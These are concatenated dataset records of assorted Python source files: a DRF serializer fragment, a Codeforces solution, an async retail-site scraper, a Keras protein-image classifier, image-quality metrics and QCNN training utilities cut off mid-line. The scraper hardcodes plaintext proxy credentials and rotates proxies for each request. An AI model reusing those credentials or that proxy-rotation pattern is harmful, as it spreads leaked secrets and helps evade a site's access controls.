set(statuses).difference(self.okay_statuses)\n if len(error_statuses) == 1:\n # There was only one unique error status, use that\n status = set(error_statuses).pop()\n elif all(s < 500 for s in error_statuses):\n # The parsing and validation of the request happened okay,\n # but we still received a 4xx error from at least one subresource.\n # We raise a 400 here to keep things simplish.\n status = 400\n else:\n # mixed errors, including server errors\n status = 500\n e = APIException(response_data)\n e.status_code = status\n raise e\n return response_data\n","repo_name":"koordinates/drf-bulk-editing","sub_path":"bulkedit/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":9082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36789028399","text":"# CodeForce Problem 981A\n\ndef is_palindrome(s:str)->bool:\n rev = str()\n rev = reversed(s)\n return list(rev)==list(s)\n\ndef longest_nonpal(s:str)->int:\n res = []\n for i in range(len(s)):\n for j in range(1,len(s)+1-i):\n if(not is_palindrome(s[i:j])):\n res.append(len(s[i:j]))\n\n if(len(res)==0):\n return 0\n return max(res)\n\n \n\nif __name__=='__main__':\n s = input()\n print(longest_nonpal(s))\n","repo_name":"AndryRafam/Programming-Dojo","sub_path":"AtCoder/cd_981A.py","file_name":"cd_981A.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"4627582082","text":"import csv\nimport re\nimport random\nimport datetime\nimport aiohttp\nimport asyncio\nimport concurrent.futures\nfrom math import floor\nfrom bs4 import BeautifulSoup\n\n# Создаем список куда будем выгружать все необходимые данные\ndata = []\n\n\nasync def get_page_data(session, href):\n with open('proxies.csv', newline='', encoding='utf-8') as files:\n csv_reader = list(csv.reader(files, delimiter=' ', quotechar='|'))\n # print(random.choice(csv_reader))\n\n proxy = f'http://{random.choice(csv_reader)[0]}'\n proxy_auth = aiohttp.BasicAuth('USQ5Q5FG3', 'pN5hqMms')\n\n # # start_time = datetime.datetime.now()\n # proxy = 'http://141.145.205.4:31281'\n # proxy_auth = aiohttp.BasicAuth('proxy_alex', 'DbrnjhbZ88')\n header = {\n \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\"\n\n }\n async with aiohttp.ClientSession() as session:\n resp_url = await session.get(href, headers=header, proxy=proxy, proxy_auth=proxy_auth)\n if resp_url.status == 200:\n soup = BeautifulSoup(await resp_url.text(), 'lxml')\n\n try:\n product_name = soup.find('h1', attrs={'id': 'page-header-description'}).text\n except:\n product_name = \"not product_name\"\n try:\n product_sky = soup.find('div', attrs={'class': \"product__stat\"}).text.replace(\"\\n\", \"\")\n except:\n product_sky = \"not product_sky\"\n # regex_price = re.compile('price*')\n try:\n product_price = soup.find('div', attrs={'class': 'pricing'}).text.replace(\"\\n\", \"\")\n except:\n product_price = \"not product_price\"\n if not soup.find('div', attrs={'id': \"unavailableContainer\"}):\n availability = 1\n else:\n availability = 0\n data.append(\n [href, product_name, product_sky, product_price, availability]\n )\n\n write_csv(data)\n\n\n# Функция для создания задач для асинхронного получение данных\nasync def gather_data():\n # with open('proxies.csv', newline='', encoding='utf-8') as files:\n # csv_reader = list(csv.reader(files, delimiter=' ', quotechar='|'))\n # # print(random.choice(csv_reader))\n #\n # #\n # # proxy = f'http://194.104.9.200:8080'\n # proxy = f'http://{random.choice(csv_reader)[0]}'\n #\n # proxy_auth = aiohttp.BasicAuth('USQ5Q5FG3', 'pN5hqMms')\n # header = {\n # \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n # \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\"\n #\n # }\n # # Переходим по ссылкам\n with open('url.csv', newline='', encoding='utf-8') as files:\n csv_reader = list(csv.reader(files, delimiter=' ', quotechar='|'))\n tasks = []\n for row in csv_reader[:10]:\n href = row[0]\n # Создаем асинхронную ссесию\n\n async with aiohttp.ClientSession() as session:\n # создаем список задач\n tasks = []\n # # получаем список всех карточек\n # response = await session.get(url=href, headers=header, proxy=proxy, proxy_auth=proxy_auth)\n # soup = BeautifulSoup(await response.text(), 'lxml')\n # table = soup.find('ul', attrs={'class': 'productGrid visible'}).find_all(\"li\")\n # url_product = []\n # # Получаем список всех url на карточки\n # for item in table[0:20]:\n # href = item.find('a').get(\"href\")\n # url_product.append(href)\n # # Добавляем все url в список задач\n # for i in url_product:\n task = asyncio.create_task(get_page_data(session, href))\n tasks.append(task)\n await asyncio.gather(*tasks)\n\n\n# Функция которая будет записывать данные из списка data\ndef write_csv(data):\n # Создаем файл с заголовками\n with open(f\"C:\\\\scrap_tutorial-master\\\\webstaurantstore\\\\test.csv\", \"w\", errors='ignore') as file:\n writer = csv.writer(file, delimiter=\";\", lineterminator=\"\\r\")\n writer.writerow(\n (\n 'href',\n 'product_name',\n 'product_sky',\n 'product_price',\n 'availability'\n )\n )\n # Дописываем данные из списка data в файл\n writer.writerows(\n data\n )\n\n\ndef main():\n asyncio.run(gather_data())\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"SashaZt/scrap_tutorial-master","sub_path":"webstaurantstore/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6618101381","text":"import pandas as pd\nfrom time import time\nfrom pandas import read_csv\n\nfrom pandas import options\noptions.mode.chained_assignment = None\n\n\ndef crear_tabla_inicial(checkbuttons=None,\n headers=None):\n\n tabla = read_csv(\n filepath_or_buffer=\"Recursos/txt.txt\",\n delimiter=';',\n skiprows=3,\n skipfooter=7,\n index_col=False,\n engine='python'\n )\n tabla.columns = headers\n\n for i in range(0, len(headers)):\n if 0 >= i > len(headers)-1:\n tabla = tabla.astype({\n headers[i]: float,\n })\n\n try:\n tabla.to_csv(\"recursos/tabla_original.csv\", index=False)\n except PermissionError:\n pass\n\n return tabla\n\n","repo_name":"ventt1709/UCS","sub_path":"funcion_crear_tabla_inicial.py","file_name":"funcion_crear_tabla_inicial.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41461251871","text":"import unittest\n\nfrom fate_flow.db.db_models import BaseDataBase\n\nfrom fate_flow.entity.constant_config import WorkMode\n\nfrom fate_flow.settings import WORK_MODE\nfrom fate_flow.utils.job_utils import generate_job_id\n\nfrom fate_flow.manager.queue_manager import MysqlQueue, ListQueue\n\nDB = BaseDataBase().database_connection\nif WORK_MODE == WorkMode.CLUSTER:\n job_queue = MysqlQueue()\nelif WORK_MODE == WorkMode.STANDALONE:\n job_queue = ListQueue()\n\n\nclass TestQueueUtil(unittest.TestCase):\n def test_queue_put(self):\n job_id = generate_job_id()\n event = {\n 'job_id': job_id,\n \"initiator_role\": 'loacl',\n \"initiator_party_id\": 0\n }\n # queue put\n job_queue.put_event(event)\n\n # queue qsize\n n = job_queue.qsize()\n if n:\n # queue get\n job_event = job_queue.get()\n self.assertIsNotNone(job_event)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"sunyinggang/dailyCode","sub_path":"python/rFlow/fate_flow/tests/unit_test/job_queue_test.py","file_name":"job_queue_test.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71049423611","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nimport os\nprint(os.listdir(\"../input\"))\n\n# Any results you write to the current directory are saved as output.\nimport os\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\nfrom zipfile import ZipFile\nimport matplotlib.pyplot as plt\nimport cv2\nimport math\nfrom imgaug import augmenters as iaa\nos.listdir('../input')\nPATH_BASE = '../input/'\nTRAIN_BASE = 'human-protein-atlas-image-classification/'\nMODEL_BASE = '4-channel-v2-with-rare-case-extension-t2/'\nPATH_TRAIN = PATH_BASE+TRAIN_BASE+'train/'\nraw_labels = pd.read_csv(PATH_BASE+TRAIN_BASE+'train.csv')\ndata_names = os.listdir(PATH_TRAIN)\n\n#extract label names and labels array[{name: ,label:}]\nlabels = []\nfor name, label in zip(raw_labels['Id'],raw_labels['Target'].str.split(\" \")):\n labels.append({\n 'name':name,\n 'label':label\n })\n#Split data to train/dev set\nfrom sklearn.model_selection import train_test_split\ntrain_idx, test_idx = train_test_split(labels, test_size=0.2)\nprint('train: ' + str(len(train_idx)) + '\\n'+ 'validation: ' + str(len(test_idx)))\ny_cat_train_dic = {}\nfor icat in range(28):\n target = str(icat)\n y_cat_train_5 = np.array([int(target in ee['label']) for ee in train_idx])\n y_cat_train_dic[icat] = y_cat_train_5\nup_sample = {}\nfor k in y_cat_train_dic:\n v = y_cat_train_dic[k].sum()\n up_sample[k] = np.round(v / len(train_idx), 5)\nprint(up_sample)\ndef plt_barh(x, y, title):\n fig, ax = plt.subplots(figsize=(15,7))\n width = 0.75\n ind = np.arange(len(up_sample)) # the x locations for the groups\n ax.barh(ind, y, width, color=\"blue\")\n ax.set_yticks(ind+width/2)\n ax.set_yticklabels(x, minor=False)\n plt.title(title)\n for i, v in enumerate(y):\n ax.text(v, i , str(v), color='blue', fontweight='bold')\n plt.xlabel('x')\n plt.ylabel('y')\nx = list(up_sample.keys())\ny = list(up_sample.values())\nplt_barh(x, y, 'data imbalance')\n#np.random.seed(18)\ntest = labels[10]\nprint(test)\nprint(test['name'])\nprint(test['label'])\n\nfig, ax = plt.subplots(1,4,figsize=(12,12))\nfig.tight_layout()\n#Try different mix method\nnames = [n['name'] for n in np.random.choice(labels, 1)]\nR = np.array(Image.open(PATH_TRAIN+names[0]+'_red.png'))\nax[0].imshow(R,cmap='Reds')\nax[0].set_title('R')\nG = np.array(Image.open(PATH_TRAIN+names[0]+'_green.png'))\nax[1].imshow(G,cmap='Greens')\nax[1].set_title('G')\nB = np.array(Image.open(PATH_TRAIN+names[0]+'_blue.png'))\nax[2].imshow(B,cmap='Blues')\nax[2].set_title('B')\nY = np.array(Image.open(PATH_TRAIN+names[0]+'_yellow.png'))\nax[3].imshow(Y,cmap='YlOrBr')\nax[3].set_title('Y')\n\nBY = (B+Y)\nBY[BY>255] = 255\nRY = (R+Y)\nRY[RY>255] = 255\nGY = (G+Y)\nGY[GY>255] = 255\n\nIMG = np.stack((R, G, B) ,axis=-1)\nIMG2 = np.stack((R, G, BY) ,axis=-1)\nIMG3 = np.stack((RY, G, B) ,axis=-1)\nIMG4 = np.stack((R, GY, B) ,axis=-1)\n#IMG = np.divide(IMG, 255)\nIMG = cv2.resize(IMG,(299,299))\n\nfig2, ax2 = plt.subplots(2,2)\nfig2.set_size_inches(12,12)\nax2[0,0].set_title('R,G,B')\nax2[0,0].imshow(IMG)\nax2[0,1].set_title('R,G,BY')\nax2[0,1].imshow(IMG2)\nax2[1,0].set_title('RY,G,B')\nax2[1,0].imshow(IMG3)\nax2[1,1].set_title('R,GY,B')\nax2[1,1].imshow(IMG4)\nIMG.shape\n#Define data_generator\n\nclass data_generator:\n \n def __init__(self):\n pass\n \n def batch_train(self, idx, batch_size, shape, augment=True):\n #extract eandom name and corresponding label\n while True:\n name_list = []\n label_list = []\n\n for n in np.random.choice(idx, batch_size):\n name_list.append(n['name'])\n int_label = list(map(int, n['label']))\n label_list.append(int_label)\n\n #batch_images = 提取images存成array, shape=(batch_size, shpae[0], shape[1], shpae[2]) = batch_images\n batch_images = np.zeros((batch_size, shape[0], shape[1], shape[2]))\n i = 0\n for name in name_list:\n image = self.load_img(name, shape)\n if augment:\n image = self.augment(image)\n batch_images[i] = image\n i+=1\n\n #batch_labels = 提取labels轉換為multiple one-hot, shape=(batch_size, 28)\n batch_labels = np.zeros((batch_size, 28))\n j = 0\n for label in label_list:\n batch_labels[j][label] = 1\n j+=1\n\n yield batch_images, batch_labels\n \n def load_img(self, name, shape):\n R = np.array(Image.open(PATH_TRAIN+name+'_red.png'))\n G = np.array(Image.open(PATH_TRAIN+name+'_green.png'))\n B = np.array(Image.open(PATH_TRAIN+name+'_blue.png'))\n Y = np.array(Image.open(PATH_TRAIN+name+'_yellow.png'))\n image = np.stack((R, G, B, Y) ,axis=-1)\n image = cv2.resize(image, (shape[0], shape[1]))\n image = np.divide(image, 255)\n return image\n \n def augment(self, image):\n aug = iaa.OneOf([\n iaa.Affine(rotate=90),\n iaa.Affine(rotate=180),\n iaa.Affine(rotate=270),\n iaa.Fliplr(0.5),\n iaa.Flipud(0.5)\n ])\n image = aug.augment_image(image)\n return image\nfrom keras import applications\nfrom keras.models import Model, Sequential, load_model\nfrom keras.layers import Input, Dense, Conv2D, MaxPooling2D, Activation, Flatten, Dropout, BatchNormalization\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.optimizers import Adam, SGD\nimport tensorflow as tf\nimport keras.backend as K\nK.clear_session()\nSHAPE = (299,299,4)\nBATCH_SIZE = 24\n\ndef f1(y_true, y_pred):\n tp = K.sum(K.cast(y_true*y_pred, 'float'), axis=0)\n fp = K.sum(K.cast((1-y_true)*y_pred, 'float'), axis=0)\n fn = K.sum(K.cast(y_true*(1-y_pred), 'float'), axis=0)\n\n p = tp / (tp + fp + K.epsilon())\n r = tp / (tp + fn + K.epsilon())\n\n f1 = 2*p*r / (p+r+K.epsilon())\n f1 = tf.where(tf.is_nan(f1), tf.zeros_like(f1), f1)\n return K.mean(f1)\n\ndef show_history(history):\n fig, ax = plt.subplots(1, 3, figsize=(15,5))\n ax[0].set_title('loss')\n ax[0].plot(history.epoch, history.history[\"loss\"], label=\"Train loss\")\n ax[0].plot(history.epoch, history.history[\"val_loss\"], label=\"Validation loss\")\n ax[1].set_title('f1')\n ax[1].plot(history.epoch, history.history[\"f1\"], label=\"Train f1\")\n ax[1].plot(history.epoch, history.history[\"val_f1\"], label=\"Validation f1\")\n ax[2].set_title('acc')\n ax[2].plot(history.epoch, history.history[\"acc\"], label=\"Train acc\")\n ax[2].plot(history.epoch, history.history[\"val_acc\"], label=\"Validation acc\")\n ax[0].legend()\n ax[1].legend()\n ax[2].legend()\n \ndef f1_loss(y_true, y_pred):\n K_epsilon = K.epsilon()\n #y_pred = K.cast(K.greater(K.clip(y_pred, 0, 1), THRESHOLD), K.floatx())\n tp = K.sum(K.cast(y_true*y_pred, 'float'), axis=0)\n tn = K.sum(K.cast((1-y_true)*(1-y_pred), 'float'), axis=0)\n fp = K.sum(K.cast((1-y_true)*y_pred, 'float'), axis=0)\n fn = K.sum(K.cast(y_true*(1-y_pred), 'float'), axis=0)\n\n p = tp / (tp + fp + K_epsilon)\n r = tp / (tp + fn + K_epsilon)\n\n f1 = 2*p*r / (p+r+K_epsilon)\n f1 = tf.where(tf.is_nan(f1), tf.zeros_like(f1), f1)\n return 1-K.mean(f1)\n\ndef binary_focal_loss(y_true, y_pred, gamma=2.0, alpha=0.25):\n \"\"\"\n Implementation of Focal Loss from the paper in multiclass classification\n Formula:\n loss = -alpha_t*((1-p_t)^gamma)*log(p_t)\n \n p_t = y_pred, if y_true = 1\n p_t = 1-y_pred, otherwise\n \n alpha_t = alpha, if y_true=1\n alpha_t = 1-alpha, otherwise\n \n cross_entropy = -log(p_t)\n Parameters:\n alpha -- the same as wighting factor in balanced cross entropy\n gamma -- focusing parameter for modulating factor (1-p)\n Default value:\n gamma -- 2.0 as mentioned in the paper\n alpha -- 0.25 as mentioned in the paper\n \"\"\"\n\n # Define epsilon so that the backpropagation will not result in NaN\n # for 0 divisor case\n epsilon = K.epsilon()\n # Add the epsilon to prediction value\n #y_pred = y_pred + epsilon\n # Clip the prediciton value\n y_pred = K.clip(y_pred, epsilon, 1.0-epsilon)\n # Calculate p_t\n p_t = tf.where(K.equal(y_true, 1), y_pred, 1-y_pred)\n # Calculate alpha_t\n alpha_factor = K.ones_like(y_true)*alpha\n alpha_t = tf.where(K.equal(y_true, 1), alpha_factor, 1-alpha_factor)\n # Calculate cross entropy\n cross_entropy = -K.log(p_t)\n weight = alpha_t * K.pow((1-p_t), gamma)\n # Calculate focal loss\n loss = weight * cross_entropy\n # Sum the losses in mini_batch\n loss = K.sum(loss, axis=1)\n \n return loss\n\ndef SortedDict(adict): \n new_dict = {}\n ks = adict.keys() \n ks = sorted(ks)\n for key in ks:\n new_dict[key] = adict[key]\n return new_dict\n# As for my examine, this focal loss should works but I'm not 100% sure, so i did a small tensor graph\n# for checkng the value between function and my own math calculation.\ny_true = Input(shape=(None,))\ny_pred = Input(shape=(None,))\nloss_function = K.Function(inputs=[y_true,y_pred], outputs=[binary_focal_loss(y_true, y_pred)])\nmath_loss = -0.75*math.pow((1-0.6), 2)*math.log(0.6) - 0.25*math.pow((1-0.1), 2)*math.log(0.1)\nprint('By manual calculate focal_loss: ', math_loss)\ntensor_loss = loss_function([[[1,0,0,0,1]],[[1,0,0,0.4,0.1]]])\nprint('By tensor input via binary_focal loss', tensor_loss[0][0])\n\"\"\"\n# load base model\nINPUT_SHAPE = (299,299,3)\nbase_model = applications.InceptionResNetV2(include_top=False ,weights='imagenet', input_shape=INPUT_SHAPE)\n\n# Add top-model to base_model\ndef make_classifier_model(input_dim=(8,8,1536)):\n inp = Input(shape=input_dim)\n X = Conv2D(128, kernel_size=(3,3), activation='relu')(inp)\n X = MaxPooling2D(pool_size=(2, 2))(X)\n X = BatchNormalization()(X)\n X = Dropout(0.25)(X)\n X = Conv2D(64, kernel_size=(1,1), activation='relu')(X)\n X = BatchNormalization()(X)\n X = Flatten()(X) # this converts our 3D feature maps to 1D feature vectors\n X = Dense(512, activation='relu')(X)\n X = BatchNormalization()(X)\n X = Dropout(0.5)(X)\n X = Dense(256, activation='relu')(X)\n X = BatchNormalization()(X)\n X = Dropout(0.5)(X)\n X = Dense(28)(X)\n pred = Activation('sigmoid')(X)\n classifier_model = Model(inp, pred, name='classifier_model')\n return classifier_model\n\n# Add 4-channdel input layers to base_model\ndef make_input_model(shape=SHAPE):\n inp = Input(shape=shape, name='input0')\n pred = Conv2D(3,kernel_size=1,strides=1,padding='same',activation='tanh',\n kernel_regularizer=regularizers.l2(1e-4))(inp)\n input_model = Model(inp, pred, name='input_model')\n return input_model\n\n# Create model piece\nclassifier_model = make_classifier_model()\ninput_model = make_input_model()\n\n# Combine models\ninp = Input(shape=SHAPE, name='inputs')\nX = input_model(inp)\nX = base_model(X)\npred = classifier_model(X)\nmodel = Model(inp, pred, name='full_model')\n\nmodel.summary()\n\"\"\"\n#Use this cell to read model & weight\nmodel = load_model(PATH_BASE+MODEL_BASE+'fine_tune_weights.hdf5', custom_objects={'f1':f1, 'binary_focal_loss': binary_focal_loss})\nfor layer in model.layers[:]:\n layer.trainable =True\n\nmodel.compile(\n loss=[binary_focal_loss], \n optimizer=Adam(1e-4),\n metrics=['acc', f1])\n\n#verbose = 2 for every epoch output log\ncheckpointer = ModelCheckpoint('fine_tune_weights.hdf5', verbose=2, monitor='val_loss', save_best_only=True, mode='max')\n\ngenerator = data_generator()\ntrain_generator = generator.batch_train(train_idx, BATCH_SIZE, SHAPE, augment=True)\nvalidation_generator = generator.batch_train(test_idx, 620, SHAPE, augment=False)\nhistory = model.fit_generator(\n train_generator,\n steps_per_epoch=100,\n validation_data=next(validation_generator),\n epochs=80,\n verbose=1,\n callbacks=[checkpointer])\nshow_history(history)\nn_list = np.arange(0.1,0.5,0.02)\nfor idx in test_idx[:3]:\n name0 = idx['name']\n print(idx)\n print(idx['name'])\n print(name0)\nfrom tqdm import tqdm\nTP_data = {}\nFP_data = {}\nFN_data = {}\nF1_best = 0\nF1_ther = 0\nfor threshold in tqdm(n_list):\n F1_sum = 0\n TP_datai = {}\n FP_datai = {}\n FN_datai = {}\n for i in range(28):\n TP_datai[i] = 0\n FP_datai[i] = 0\n FN_datai[i] = 0\n for idx in test_idx[:500]:\n name0 = idx['name']\n generator = data_generator()\n image = generator.load_img(name0, SHAPE)\n score_predict = model.predict(image[np.newaxis,:])\n score_predict = np.array(score_predict)[0]\n label_predict = np.arange(28)[score_predict>=threshold]\n true_label = idx['label']\n true_label = np.array(true_label).astype(int)\n label_predict = set(label_predict)\n true_label = set(true_label)\n# print(label_predict,'label predict')\n# print(true_label,'true_label')\n \n TP = sum(1 for num in label_predict if num in true_label)\n# print(TP,'TP')\n FP = sum(1 for num in label_predict if not num in true_label)\n# print(FP,'FP')\n FN = sum(1 for num in true_label if not num in label_predict)\n# print(FN,'FN')\n TN = 28 - (TP+FP+FN)\n F1_sum += 2*TP/(2*TP+FN+FP)\n \n # count for acc for every label type\n# TP_count = 0\n# FP_count = 0\n# FN_count = 0\n for num in label_predict:\n if num in true_label:\n# TP_count+=1\n TP_datai[num] += 1\n if num not in true_label:\n# FP_count+=1\n FP_datai[num] += 1\n for num in true_label:\n if num not in label_predict:\n# FN_count+=1\n FN_datai[num] += 1\n \n \n if F1_sum>F1_best:\n F1_best = F1_sum\n F1_thre = threshold\n TP_data = TP_datai\n FP_data = FP_datai\n FN_data = FN_datai\n \n print('F1_score_sum: ', F1_sum, 'at threshold: ', threshold)\nTP_data = SortedDict(TP_data)\nFP_data = SortedDict(FP_data)\nFN_data = SortedDict(FN_data)\nprint('F1_best ', F1_best, ' F1_thre ', F1_thre)\nprint('TP_data ', TP_data)\nprint('FP_data ', FP_data)\nprint('FN_data ', FN_data)\ndef dict_to_barh(dict_data, title):\n x = list(dict_data.keys())\n y = list(dict_data.values())\n return plt_barh(x, y, title)\n\ndict_to_barh(TP_data, 'TP_data')\ndict_to_barh(FP_data, 'FP_data')\ndict_to_barh(FN_data, 'FN_data')\nsubmit = pd.read_csv(PATH_BASE+TRAIN_BASE+'sample_submission.csv')\nPATH_TRAIN = PATH_BASE+TRAIN_BASE+'test/'\ngenerator = data_generator()\npredicted = []\n\nfor name in tqdm(submit['Id']):\n #path = os.path.join('../input/test/', name)\n image = generator.load_img(name, SHAPE)\n score_predict = model.predict(image[np.newaxis,:])[0]\n label_predict = np.arange(28)[score_predict>=F1_thre]\n str_predict_label = ' '.join(str(l) for l in label_predict)\n predicted.append(str_predict_label)\nsubmit['Predicted'] = predicted\nsubmit.to_csv('4 channel V2 with rare T2 plus threshold.csv', index=False)","repo_name":"aorursy/new-nb-1","sub_path":"achoetwice_4-channel-v2-with-rare-t2-plus-threshold.py","file_name":"achoetwice_4-channel-v2-with-rare-t2-plus-threshold.py","file_ext":"py","file_size_in_byte":15470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69857146814","text":"import os \r\nimport cv2\r\nimport numpy as np\r\nfrom skimage.metrics import structural_similarity as cal_ssim\r\nimport glob\r\n\r\n\r\n#s = ssim(imageA, imageB)\r\n# s = measure.compare_ssim(imageA, imageB)\r\n\r\n# def cal_ssim(y_true , y_pred):\r\n# u_true = np.mean(y_true)\r\n# u_pred = np.mean(y_pred)\r\n# var_true = np.var(y_true)\r\n# var_pred = np.var(y_pred)\r\n# std_true = np.sqrt(var_true)\r\n# std_pred = np.sqrt(var_pred)\r\n# c1 = np.square(0.01*7)\r\n# c2 = np.square(0.03*7)\r\n# ssim = (2 * u_true * u_pred + c1) * (2 * std_pred * std_true + c2)\r\n# denom = (u_true ** 2 + u_pred ** 2 + c1) * (var_pred + var_true + c2)\r\n# return ssim / denom\r\n\r\n\r\ndef get_file_name(path):\r\n basename = os.path.basename(path)\r\n onlyname = os.path.splitext(basename)[0]\r\n return onlyname\r\n\r\n\r\ntotal_psnr = 0\r\ntotal_ssmi = 0\r\n\r\n# offset = 51\r\nimg_size = 512\r\n\r\ntestset = glob.glob(\"./ohaze_valset_gt/*.jpg\")\r\n\r\noutput_folder = \"predict_ohaze_unet_spp_swish_deeper_gan_4c\"\r\ntxtfile = open(f\"./{output_folder}/test_log.txt\", \"w+\")\r\n\r\nfor path in testset:\r\n\r\n\tfname = get_file_name(path)\r\n\r\n\tpred = cv2.imread(f\"./{output_folder}/{fname}.jpg\")\r\n\tpred = cv2.resize(pred, (img_size,img_size))\r\n\r\n\tgt = cv2.imread(path)\r\n\tgt = cv2.resize(gt, (img_size,img_size))\r\n\r\n\tpsnr = cv2.PSNR(pred, gt)\r\n\tssmi = cal_ssim(gt, pred, data_range=pred.max() - pred.min(), multichannel=True)\r\n\r\n\tprint(fname, psnr, ssmi)\r\n\tprint(fname, psnr, ssmi, file=txtfile)\r\n\r\n\ttotal_psnr += psnr\r\n\ttotal_ssmi += ssmi\r\n\r\naverage_psnr = total_psnr/len(testset)\r\naverage_ssmi = total_ssmi/len(testset)\r\n\r\nprint(\"PSNR:\", average_psnr)\r\nprint(\"SSMI:\", average_ssmi)\r\n\r\nprint(\"PSNR:\", average_psnr, file=txtfile)\r\nprint(\"SSMI:\", average_ssmi, file=txtfile)","repo_name":"tranleanh/edn-gtm","sub_path":"eval_psnr_ssmi.py","file_name":"eval_psnr_ssmi.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"78"} +{"seq_id":"2133572856","text":"r\"\"\"\nUtility methods for QCNN training. \n\"\"\"\n\nimport sys\nimport os\n\nsys.path.append(os.path.dirname(__file__))\n\n\nimport flax.linen as nn\nfrom flax.training.train_state import TrainState\n\nimport jax.numpy as jnp\n\nimport optax\n\nfrom qcnn_classifier import QCNNClassifier\nfrom circuits.quantum_circuit import get_quantum_circuit\n\nfrom typing import Optional, Tuple, Dict, Union, List, Callable, Any\nimport pandas as pd\n\nPRNGKey = jnp.ndarray\n\n\ndef choose_model(model_type: str, model_args: Dict[str, Any]) -> Callable:\n r\"\"\"Picks and loads one of the implemented classifier model classes with the given\n hyperparmaeters.\n\n Args\n model_type (str) : Model type. Currently, only the quantum classifier is\n implemented.\n model_args (Dict[str, Any]) : Model parameters.\n Returns:\n Callable: The loaded quantum classifier model with the given configuration.\n \"\"\"\n model_cls = None\n if model_type == \"quantum_classifier\":\n kwargs = {}\n if \"ver\" in model_args.keys():\n kwargs[\"qnn_ver\"] = model_args[\"ver\"]\n\n if \"qnn_config\" in model_args.keys():\n kwargs[\"qnn_config\"] = model_args[\"qnn_config\"]\n\n if \"symmetry_breaking\" in model_args.keys():\n kwargs[\"sym_break\"] = model_args[\"symmetry_breaking\"]\n\n circuit, num_params = get_quantum_circuit(\n model_args[\"num_wires\"],\n model_args[\"num_measured\"],\n equiv=model_args[\"equiv\"],\n trans_inv=model_args[\"trans_inv\"],\n **kwargs,\n )\n\n model_cls = QCNNClassifier\n model_args = {\n \"circuit\": circuit,\n \"num_params\": num_params,\n \"equiv\": model_args[\"equiv\"],\n \"delta\": model_args[\"delta\"],\n }\n\n return model_cls, model_args\n\n\ndef create_state(\n rng: PRNGKey,\n model_cls: nn.Module,\n input_shape: Union[Tuple[int], List[Tuple[int]]],\n input_args: Optional[Dict] = None,\n opt_args: Optional[Dict] = None,\n) -> TrainState:\n r\"\"\"Function to create train state of input class\n\n Args:\n rng (PRNGKey): Random number generator key\n model_cls (nn.Module): Flax class to create trainstate\n input_shape (Tuple[int]): Input data shape\n input_args (Dict): Input argument for trainstate class\n opt_args (Dict): Optimizer arguments\n\n Returns:\n TrainState: Initial training state.\n \"\"\"\n\n if opt_args is None:\n opt_args = {\"lr\": 0.01, \"b1\": 0.9, \"b2\": 0.999}\n\n model = model_cls(**input_args)\n tx = optax.adam(opt_args[\"lr\"], b1=opt_args[\"b1\"], b2=opt_args[\"b2\"])\n # tx = optax.amsgrad(opt_args['lr'], b1=opt_args['b1'], b2=opt_args['b2'])\n\n # In case we add regularization\n if \"weight_decay\" in opt_args.keys():\n tx = optax.adamw(\n opt_args[\"lr\"],\n b1=opt_args[\"b1\"],\n b2=opt_args[\"b2\"],\n weight_decay=opt_args[\"weight_decay\"],\n )\n\n variables = model.init(rng, jnp.ones(input_shape))\n\n state = TrainState.create(apply_fn=model.apply, tx=tx, params=variables[\"params\"])\n\n return state\n\n\ndef init_trainstate(\n model_args: Tuple[Dict], opt_args: Tuple[Dict], input_shape: Tuple, key: PRNGKey\n) -> Tuple[TrainState, PRNGKey]:\n model_cls, model_args = choose_model(\"quantum_classifier\", model_args)\n\n model_state = create_state(key, model_cls, input_shape, model_args, opt_args)\n\n return model_state, key\n\n\ndef save_outputs(\n epoch: int, snapshot_dir: str, outputs: Dict[str, jnp.ndarray], labels: jnp.ndarray\n) -> None:\n df = pd.DataFrame({\"preds\": outputs[\"preds\"]})\n df[\"labels\"] = labels\n\n df.to_csv(os.path.join(snapshot_dir, \"classification_epoch\" + str(epoch) + \".csv\"))\n\n\ndef print_losses(\n epoch: int,\n epochs: int,\n train_loss: Dict[str, jnp.ndarray],\n valid_loss: Dict[str, jnp.ndarray],\n):\n \"\"\"\n Print the training and validation losses.\n\n Args :\n epoch (int) : Current epoch\n epochs (int) : Total number of epohcs\n train_loss (dict) : Training loss\n valid_loss (dict) : Validation loss\n \"\"\"\n print(\n f\"Epoch : {epoch + 1}/{epochs}, Train loss (average) = \"\n f\", \".join(\"{}: {}\".format(k, v) for k, v in train_loss.items())\n )\n print(\n f\"Epoch : {epoch + 1}/{epochs}, Valid loss = 